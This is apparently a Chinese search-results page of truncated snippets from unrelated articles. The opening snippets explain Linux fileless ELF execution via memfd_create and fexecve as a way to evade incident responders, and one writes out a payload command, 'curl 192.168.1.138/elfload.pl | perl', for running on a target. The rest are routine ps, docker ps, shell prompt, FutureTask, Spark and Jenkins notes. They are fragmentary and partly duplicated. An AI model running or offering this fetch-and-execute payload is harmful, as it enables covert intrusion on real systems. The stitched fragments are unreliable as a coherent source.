01 简介 在进行Linux系统的攻击应急时,大家可能会查看pid以及/proc相关信息,比如通过/proc/$pid/cmdline查看某个可疑进程的启动命令,通过/proc/$pid/...02 技术核心 这里向大家介绍一个linux系统的底层调用函数memfd_create(2),它在内核3.17中引入,会创建一个匿名文件并返回一个文件描述符指向它,该文件表现和常规文件类同, 可以进行修改...这就是可以被攻击者所利用的,如果有办法将需要执行elf通过memfd_create(2)写入内存中进行执行的话就可以达到我们的目的。 ?...第三部分就是执行该文件了,调用exec函数执行该匿名文件 ? 这里我们最后的EXP就生产好了,我们可以目标机上执行 curl 192.168.1.138/elfload.pl | perl ? ?...参考: https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html http://man7.org/linux
继续2020年的flag,至少每周更一篇文章,今天讲linux无文件执行。...无文件执行 之前的文章中,我们讲到了无文件执行的方法以及混淆进程参数的方法,今天我们继续讲解一种linux无文件执行的技巧,是后台朋友给我的提醒,万分感谢,又学到了新的东西。...linux无文件执行,首先要提到两个函数:memfd_create 和 fexecve。...fexecve的实现 今天不谈memfd_create,这是linux的新特性,没有什么好玩的,本人对fexecve 的实现很有兴趣,因为fexecve是glibc中的函数,而不是linux的系统调用。...对fexecve_test.c 进行编译并执行,可以看到/dev/shm下面确实生成了wurstverschwendung文件。 ? 调试角度 fexecve是如何执行内存中的文件呢?
其他实例 linux上进程的几种状态 R(TASK_RUNNING),可执行状态&运行状态(在run_queue队列里的状态) S(TASK_INTERRUPTIBLE),可中断的睡眠状态,可处理signal...ps命令用来列出系统中当前运行的那些进程。ps命令列出的是当前那些进程的快照,就是执行ps命令的那个时刻的那些进程,如果想要动态的显示进程信息,就可以使用top命令。...总之大部分信息都是可以通过执行该命令得到的。 ps 为我们提供了进程的一次性的查看,它所提供的查看结果并不动态连续的;如果想对进程时间监控,应该用 top 工具。 kill 命令用于杀死进程。...PPID 则是其上级父程序的ID C CPU 使用的资源百分比 PRI 指进程的执行优先权(Priority的简写),其值越小越早被执行; NI 这个进程的nice值,其表示进程可被执行的优先级的修正数值...在Linux系统中,系统调用fork可以创建子进程,通过子shell也可以创建子进程,Linux系统中进程之间的关系天生就是一棵树,树的根就是进程PID为1的init进程。
Linux 命令 ps 命令解析 ps 命令是 Linux 中用于列出系统中正在运行的进程信息的命令,一般形式如下: ps [选项] 选项说明: -e或者--everyone:显示所有进程。...为方便读者理解,林一写个具体 demo: ps -ef | grep sshd 作用:使用 ps -ef 命令列出当前系统中所有进程,并使用管道符将输出结果传递给 grep 命令,以过滤出包含“sshd...ps -ef | sort -nrk 4 | head -n 5 作用:列出当前系统中所有进程,按照第四列(CPU使用率)的逆向顺序排列,然后仅显示前五个结果。...Linux 命令 ps 命令注意事项 读者在使用 ps 命令时,要注意提供正确的选项和参数,否则可能会输出错误的结果。...ps 命令默认显示当前用户的进程,如果想要显示所有进程,需要使用 -e 选项;ps命令只列出正在执行的进程,如果需要查看所有的进程,可以使用 top 命令。
Linux为代表的系统是Case sensitive大小写敏感, 这点需要尤为关注, 不同与 windows是Non Case sensitive大小写不敏感. ps命令是Process Status的缩写...UID 用户id PID 进程id PPID 父进程id C CPU用户计算执行优先级的因子 数值越大cpu密集运算执行优先级越低 STIME 进程启动时间 TTY 完整的终端名称 TIME CPU时间...字符串函数 memcopy bcopy 终端初始化设置文件 /etc/initab /etc/ttys 终端控制 termio termios 参考文献: https://linuxhint.com/ps_command_linux.../ https://server-gu.ru/process-management-linux-2/ $ps –e //显示系统中所有正在运行的进程 $ps –ef //更为详细 如果想进一步了解...ps commandline 请查阅 $man ps ?
命令详解 意义:列出容器相关信息 格式:docker ps [options] 参数列表: 参数 解释 无参 默认显示正在运行的容器 -a 显示所有的容器,包括未运行的 -f 根据条件过滤显示的内容...不截断输出 -q 静默模式,只显示容器ID -s 显示总的文件大小 详细使用请参考官网:https://docs.docker.com/engine/reference/commandline/ps.../ 里面包含ps的详细使用教程,虽然是英文的但是实例有一点英语功底就可以看懂,其中包含ps的模糊查询等。...命令 docker ps 获取的结果示例 CONTAINER ID IMAGE COMMAND CREATED...seconds ago Up 36 seconds 0.0.0.0:1025->5000/tcp ecstatic_ritchie 结果解析
命令详解 意义:列出容器相关信息 格式:docker ps [options] 参数列表: 参数 解释 无参 默认显示正在运行的容器 -a 显示所有的容器,包括未运行的 -f...format 指定返回值的模板文件 -l 显示最近创建的容器 -n 列出最近创建的n个容器 --no-trunc 不截断输出 -q 静默模式,只显示容器ID -s 显示总的文件大小 命令 docker ps...获取的结果示例 CONTAINER ID IMAGE COMMAND CREATED...seconds ago Up 36 seconds 0.0.0.0:1025->5000/tcp ecstatic_ritchie 结果解析
也说了,线程池的实现天生也实现了异步任务,允许直接向线程池中进行任务的提交与结果获取。 但是,我们始终没有去深入的了解下,异步任务框架对于任务执行的进度是如何监控的,任务执行的结果该如何获取。...那么,本篇文章就来详细地探讨下异步框架中,关于任务执行过程中的一些状态以及执行结果反馈的相关细节。...outcome 是任务执行结束的返回值,runner 是正在执行当前任务的线程,waiters 是一个简单的单链表,维护的是所有在任务执行结束之前尝试调用 get 方法获取执行结果的线程集合。...如果任务已经开始将退出方法逻辑的执行 调度任务执行,调用 call 方法 调用成功将保存结果,异常则将保存异常信息 处理中断 这里需要额外去说一下,第三步中的 set 方法除了会将任务执行的返回结果设置到...我们向线程池提交了一个任务,这个任务的工作量不大,就是睡觉然后返回执行结果。
Linux中的ps命令是Process Status的缩写。ps命令用来列出系统中当前运行的那些进程。...ps命令列出的是当前那些进程的快照,就是执行ps命令的那个时刻的那些进程,如果想要动态的显示进程信息,就可以使用top命令。...总之大部分信息都是可以通过执行该命令得到的。 ps 为我们提供了进程的一次性的查看,它所提供的查看结果并不动态连续的;如果想对进程时间监控,应该用 top 工具。 kill 命令用于杀死进程。...ps aux 和ps -ef 两者的输出结果差别不大,但展示风格不同。aux是BSD风格,-ef是System V风格。这是次要的区别,一个影响使用的区别是aux会截断command列,而-ef不会。...当结合grep时这种区别会影响到结果。 原文链接:https://rumenz.com/rumenbiji/linux-ps.html 微信公众号:入门小站
1. ps命令介绍及Linux进程状态介绍 Linux中的ps命令是Process Status的缩写,ps命令用来列出系统中当前运行的那些进程。...ps命令可以列出当前进程的运行情况(状态、时间等信息)。在Linux系统中,进程有5中状态,在ps命令中分别用5个大写字母表示: R (TASK_RUNNING),可执行状态。...除此之外,还有ps命令还有一些进程状态信息: < 优先级高的进程 l 多线程状态 前台进程 L 锁定状态 N 优先级低的进程 2. ps命令用法 默认情况下,ps命令只会显示运行在当前控制台下的属于当前用户的进程...命令的结果列信息表示如下: UID 启动进程的用户 PID 进程ID PPID 进程的父进程ID C 进程生命周期中的CPU利用率 TTY 运行在哪个终端 TIME 进程已用CPU时间 CMD 进程的命令...例如ps -C test -L 显示进程中的线程,例如ps -L 123,123为进程ID -j 显示任务信息 -H 用层级显示进程,树状结构
Linux 中的 ps 命令是 Process Status 的缩写。ps 命令用来列出系统中当前运行的那些进程。...ps 命令列出的是当前那些进程的快照,就是执行 ps 命令的那个时刻的那些进程,如果想要动态的显示进程信息,就可以使用 top 命令。...总之大部分信息都是可以通过执行该命令得到的。 ps 为我们提供了进程的一次性的查看,它所提供的查看结果并不动态连续的;如果想对进程时间监控,应该用 top 工具。 kill 命令用于杀死进程。...00:00:00 cqueue/0 ……省略部分结果 说明: 实例 2:显示指定用户信息 命令: ps -u root 输出: [root@localhost test6]# ps -u root...00:00:00 kacpid ……省略部分结果 说明: 实例 3:显示所有进程信息,连同命令行 命令: ps -ef 输出: [root@localhost test6]# ps -ef
watch 能间歇地执行程序,并将输出结果以全屏的方式显示,默认时2s执行一次; watch -n 5 ping -c 1 www.baidu.com # 进行循环5秒钟,发送一次ping包; 使用范例
目录 1、简介 2、ps 命令及其参数 3、使用示例 ---- 1、简介 ps 命令就是最根本相应情况下也是相当强大地进程查看命令.运用该命令可以确定有哪些进程正在运行和运行地状态、 进程 是否结束、进程有没有僵死...、哪些进程占用了过多地资源等等.总之大部分信息均为可以通过执行该命令得到地。...2、ps 命令及其参数 ps 命令最经常使用地还是用于监控后台进程地工作情况,因为后台进程是不和屏幕键盘这些标准输入/输出设 备进行通信地,所以如果需要检测其情况,便可以运用 ps 命令了....对于 ps 地不同格式都存在着默认地顺序指定.这些默认顺序可以被用户地指定所覆盖.在这里面“+”字符是可选地,“-” 字符是倒转指定键地方向。...c cmd 可执行地简单名称 C cmdline 完整命令行 f flags 长模式标志 g pgrp 进程地组 ID G tpgid 控制 tty 进程组 ID j cutime
Linux中的ps命令是Process Status的缩写。ps命令用来列出系统中当前运行的那些进程。...ps命令列出的是当前那些进程的快照,就是执行ps命令的那个时刻的那些进程,如果想要动态的显示进程信息,就可以使用top命令。...总之大部分信息都是可以通过执行该命令得到的。 ps 为我们提供了进程的一次性的查看,它所提供的查看结果并不动态连续的;如果想对进程时间监控,应该用 top 工具。 kill 命令用于杀死进程。...ps aux 和ps -ef 两者的输出结果差别不大,但展示风格不同。aux是BSD风格,-ef是System V风格。...当结合grep时这种区别会影响到结果。 原文链接:https://rumenz.com/rumenbiji/linux-ps.html
shell调试可以设置PS4 $ echo $PS4 +{$LINENO:${FUNCNAME[0]}} 原贴:http://os.51cto.com/art/201205/334954.htm 1、PS1...——默认提示符 如下所示,可以通过修改Linux下的默认提示符,使其更加实用。...当然我也见过有的人不喜欢分行显示命令 3、PS3——Shell脚本中使用select时的提示符 你可以像下面示范的那样,用环境变量PS3定制shell脚本的select提示: 不使用PS3的脚本输出:.../ps4.sh ++ echo 'PS4 demo script' PS4 demo script ++ ls -l /etc/ ++ wc –l 243.../ps4.sh ../ps4.sh.3+ echo 'PS4 demo script' PS4 demo script ..
前言 在文章Task执行流程 中介绍了task是怎么被分配到executor上执行的,本文讲解task成功执行时将结果返回给driver的处理流程。...serializedTaskResult.isDefined) { // 在Task执行结束获得结果后到driver远程去抓取结果之间,如果运行task的机器挂掉,...// 或者该机器的BlockManager已经刷新掉了Task执行结果,都会导致远程抓取结果失败。...,若获取失败则通知scheduler进行失败处理,失败原因有两种: 在Task执行结束获得结果后到driver远程去抓取结果之间,如果运行task的机器挂掉 该机器的BlockManager已经刷新掉了...Task执行结果 获取结果远程获取结果成功后删除远程BlockManager对应的结果,则直接返回其序列化后的结果 最后将该task对应的TaskSetMagager和tid和结果作为参数通知scheduler
通过设置环境变量PS1、PS2、PS3以及PS4来自定义用户命令行的字符显示。...例如:我的机器名称为:fc4.linux,则这个名称就是fc4.linux /h 仅取主机的第一个名字,如上例,则为fc4,.linux则被省略 /t 显示时间为24小时格式,如:HH:MM:SS /T...命令行动态统计历史命令次数 PS2 一个非常长的命令可以通过在末尾加 \ 使其分行显示 PS2多行命令的默认提示符,默认值是 > PS2一般使用于命令行里较长命令的换行提示信息,比如:...当然我也有的人不喜欢分行显示命令 PS3 Shell脚本中使用select时的提示符 你可以像下面示范的那样,用环境变量PS3定制shell脚本的select提示: 不使用PS3的脚本输出...可以百度 linux超級技巧,第33章講述了ps3,ps4 PS3 The value of this parameter is used as the prompt for the select
继完成构建项目配置http://www.cnblogs.com/yajing-zh/p/5111060.html后,则要执行构建。...注意:通过jenkins持续集成环境执行测试,你不会看到浏览器弹出来,进行自动操作,这个浏览器弹出,然后自动操作的过程被jenkins“隐藏”了,但是通过日志,你可以看到当前用例执行到哪里了。...测试执行完毕,查看测试结果,可以从jenkins上直接查看,也可以通过报告间接查看。...1>jenkins直接查看测试结果:在Jenkins上点开构建项目,进入项目详情,点击last build查看最新测试结果: ? ? ? 2>通过发送的邮件查看测试结果: ?
ps是Linux系统中用于查看进程状况的命令,用于显示当前系统中进程的快照。ps会显示部分当前活动的进程信息,不同于top指令,top指令会实时的更新所显示的进程动态。 ...Linux的ps指令兼容了多种版本的选项,这些选项有UNIX风格的,有BSD风格的,还有GNU的长选项: 1.Unix风格选项,能够合并且前面必须要有短线“-” 2.BSD风格的选项,可以合并但是不使用短线...CPU时间(time=TIME),以及可执行的名称(ucmd=CMD),默认情况下,显示结果不排序。 ...: $ ps -u userlist #查看当前用户的所有进程: $ ps -ux #查看某一指定用户(例如:keystone)的所有进程: $ ps -U keystone #查看特定可执行名称组成的列表...#对于所有进程连同命令行,截断其超出屏幕宽度的部分(结果显示的每个进程都占屏幕一行,多出的部分被截去): $ ps -ef #对于所有进程连同命令行,显示全部的信息(结果可能跨屏幕多行): $ ps
领取专属 10元无门槛券
手把手带您无忧上云